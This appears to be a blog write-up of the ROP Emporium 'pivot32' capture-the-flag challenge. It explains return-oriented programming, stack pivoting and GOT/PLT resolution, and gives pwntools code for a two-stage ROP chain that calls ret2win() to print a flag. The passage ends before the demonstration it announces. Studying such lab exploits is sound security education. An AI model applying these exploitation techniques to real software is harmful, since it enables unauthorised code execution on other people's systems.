August 13, 2019reverse-engineering exploiting binary r2 radare2 rop
Let’s check out Return Oriented Programming (ROP) with the
pivot32 challenge from ROP Emporium by using
pivot32 binary is compiled without stack canaries and PIE but has NX enabled.
The general principle behind ROP is that:
[…] an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”. Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.
Cool, thanks Wikipedia.
The reason why ROP is required for this challenge is that the available space for the payload is quite small and not sufficient in order to get the flag. Because of this, it’s required to pivot the stack to another location that contains a second stage payload that gets the flag. To accomplish this, the
ESP (Stack Pointer) register will be modified the by first stage payload. The new base pointer will then point to an attacker-controlled fake stack that contains the second stage. This new stack is also set up during the exploitation process. The fake stack consists of another ROP chain, just like the first stage.
During exploitation the ROP gadgets will be executed one after another since they are terminated by a
ret instruction. A
ret causes the program flow to return to the address that’s currently on the top of the stack. For gadget
n this will then be gadget
n+1 – the ROP chain is getting executed successfully.
The way the exploitation of
pivot32 takes place is that it re-uses the gadgets of the binary itself in order to call a function named
ret2win() of the enclosed shared object
libpivot32.so. This function simply performs a
cat on the file
flag.txt by invoking
system(). Unfortunately, this function isn’t imported by
pivot32, so it’s first required to acquire the address of a known symbol that’s being imported by the target binary. The symbol
foothold_function() serves exactly for this purpose. By getting the address of this function it’s then possible to compute the address of
ret2win() using a static offset and call it.
pivot32 already helps in the exploitation process: It prints the address that has to be pivoted to:
The Old Gods kindly bestow upon you a place to pivot: 0xf7d2ef10
Of course this address changes upon each invocation, so exploitation has to take place dynamically - for example using
pwntools. By combining
pwntools with my pwntools-r2 module the exploit can be debugged with
radare2 on runtime.
Two inputs are requested using
fgets() by the target process:
pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf7d7bf10 Send your second chain now and it will land there > ABC Now kindly send your stack smash > DEF Exiting
The first console input to
pivot32 is being written exactly to the pivot location. This the input that will contain the second stage payload that will be executed after pivoting. The second input therefore has to contain the first stage payload containing the
EIP overwrite and a mini ROP chain that pivots to the desired stack address.
Using the output of
ragg2 -r -P 300, a De Bruijn pattern, it has been determined that
EIP gets overwritten after 44 bytes:
[...] Now kindly send your stack smash > AAABAACAADAAEAAFAAGAAH[...] child stopped with signal 11 [+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0 [0x41415041]> wopO `dr eip` 44
Setting Up The Stack Pivot
The address to pivot to is already known. Therefore it’s required to set
ESP to this specific value. ROP gadgets that are useful for stack pivoting can be listed using
ropper --file pivot32 --stack-pivot [...] Gadgets ======= 0x0804889b: add esp, 0x10; nop; leave; ret; 0x08048925: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret; 0x0804856e: add esp, 8; pop ebx; ret; 0x0804856a: ret 0; 0x080486be: ret 0xeac1; 0x08048a4c: ret 0xfffd; 0x080488c2: xchg eax, esp; ret;
It seems that the easiest way to set the stack pointer to a specific value is by using the
xchg gadget. It exchanges the
ESP register values. The plan is therefore:
EAXwith the printed pivot address - e.g. using a
- Use the
xchggadget to pivot to this exact address.
pop eax gadget has been found with
/R pop eax, but using
pwntools to search for it dynamically using the binary is also a way to do it:
elf = ELF("./pivot32") elfROP = ROP(elf) POP_EAX = p32(elfROP.find_gadget(["pop eax", "ret"]))
With all this information gathered, the stack pivoting first stage payload looks like this:
POP_EAX = p32(elfROP.find_gadget(["pop eax", "ret"])) DO_PIVOT = p32(0x080488c2) # xchg eax esp STAGE1 = "A" * 44 STAGE1 += POP_EAX # Load following pivot_addr in EAX STAGE1 += pivot_addr STAGE1 += DO_PIVOT # Exchange EAX and ESP
GOT and PLT
Upon calling the dynamically linked function
libpivot32.so for the first time, e.g. at process launch, the address of this function has to be determined first. To avoid doing this every time, the result of the resolution will be saved in the GOT (Global Offset Table) after the first call. Upon calling the function a second time, the existing GOT entry will be used. The address of the GOT entry for a specific function can be determined using
Initially the GOT will point to an entry in the PLT (Procedure Linkage Table). This entry in turn calls the dynamic linker that does the actual address resolution. The address of the PLT entry for a specific function can be read using
Or you use
elf = ELF("./pivot32") FOOTHOLD_PLT = p32(elf.plt["foothold_function"]) FOOTHOLD_GOT = p32(elf.got["foothold_function"])
As long as the binary is not compiled with PIE, the aspects described in this section above are valid.
Please note that before being able to get the address of
foothold_function(), it has to be called first at least once. This populates the entry in the GOT which can then be used by the ROP chain.
Second Stage Payload
The first thing the second stage payload has to perform is to call
foothold_function() once. After that, it can read the GOT entry of this function and determine its real address. To calculate the address of
ret2win() it’s then required to know the offset between these two functions in the shared library. The easiest way to do this is to calculate this using
FOOTHOLD_WIN_DISTANCE = p32(lib.symbols["ret2win"] - lib.symbols["foothold_function"])
This offset has then to be added to the determined address of
foothold_function() to get the address of
ret2win(). Calling the resulting address prints the flag. The ROP chain therefore looks like this:
STAGE2 = "" STAGE2 += FOOTHOLD_PLT # Cause foothold resolution -> Populates GOT STAGE2 += POP_EAX # Load the following address into eax STAGE2 += FOOTHOLD_GOT STAGE2 += MOV_EAX_EAX # Dereference EAX (mov EAX, [EAX]) STAGE2 += POP_EBX # Load the calculated offset into EBX STAGE2 += FOOTHOLD_WIN_DISTANCE STAGE2 += ADD_EAX_EBX # Add the offset to EAX STAGE2 += CALL_EAX # Call @ the calculated ret2win address
All gadgets have been determined using the
/R ROP gadget search function of
MOV EAX, [EAX] instruction causes the content of the GOT entry of
foothold_function() to be read and stored into
EAX. On runtime this contains the real address of this function since its dynamic resolution has already taken place.
Let’s see it in action, starting with the execution of the first stage ROP payload. Be sure to watch the stack and the registers change: